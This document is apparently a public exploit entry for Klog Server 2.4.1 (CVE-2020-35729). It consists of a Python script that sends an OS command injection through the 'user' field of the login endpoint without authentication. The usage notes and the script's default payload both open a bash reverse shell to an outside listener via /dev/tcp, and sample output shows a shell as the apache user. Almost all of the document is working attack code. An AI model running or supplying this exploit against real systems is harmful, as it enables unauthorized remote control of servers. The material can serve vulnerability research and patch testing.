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Klog Server 2.4.1 - Command Injection (Unauthenticated)

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# Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated)
# Date: 22.12.2020
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
# Vendor Homepage: https://www.klogserver.com/
# Version: 2.4.1
# Tested On: Ubuntu 18.04
# CVE: 2020-35729
# Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER

"""
         ~ VULNERABILITY DETAILS ~
    
    #
    The Klog Server runs the injected os commands on the server , causing os command
    injection vulnerability.    
    
    #
    The following python code will inject os command payload and can be relaized reverse
    shell connection.And you can be added payload except the default payload plugin.

    ##USAGE##

    $sudo nc -nlvp 98
    $sudo python klog_exploit.py --exploit --url https://10.10.56.51:443/actions/authenticate.php --payload "test\"$bash -i >& /dev/tcp/10.10.56.52/98 0>&1&\""

    ##OUTPUT##

    bash-4.2$whoami
    apache
    bash-4.2$

"""

import requests
import argparse
from colorama import Fore, Back, Style, init


def main():
    
    desc = "KLOG SERVER 2.4.1 EXPLOIT"
    parser = argparse.ArgumentParser(description=desc)
    option = parser.add_argument_group('[*]OPTIONS[*]')
    parser.add_argument("--url", help=Fore.GREEN+"[*]TARGET URL ADDRESS[*]", required=False)
    parser.add_argument("--payload",help=Fore.GREEN+"[*] TO ADD PAYLOAD  [*]", type=str,required=False)
    parser.add_argument("--exploit", help=Fore.GREEN+" ", action="store_true")
    args = parser.parse_args()
    
    if args.exploit:

        if args.url:
            url = args.url
            
            if args.payload:
                payload = args.payload
                target_send_config(url, payload)
            
            #default bash reverse shell payload
            else:
                payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
                target_send_config(url, payload)

        else:
            #default url (klog server init ip address)
            url = "https://10.10.56.51:443/actions/authenticate.php"
            
            if args.payload:
                payload = args.payload
                target_send_config(url, payload)
            else: 
                payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
                target_send_config(url, payload)


def target_send_config(url, payload):
        
    headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0", 
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
                "Accept-Language": "en-US,en;q=0.5", 
                "Accept-Encoding": "gzip, deflate", 
                "Content-Type": "application/x-www-form-urlencoded", 
                "Connection": "close", 
                "Upgrade-Insecure-Requests": "1"}
    #injection place
    data = {"user": payload, 
            "pswd": "test"}
    
    try:
    #post method send    
        requests.post(url, headers=headers, data=data, verify=False)
        print(" ")
        print(Fore.GREEN+" "+"[+] EXPLOIT SUCCESSFUL PAYLOAD IS SENT [+]")
    except:
        print(Fore.RED+"[-] EXPLOIT FAILED [-]")

if __name__ == '__main__':
    main()
            
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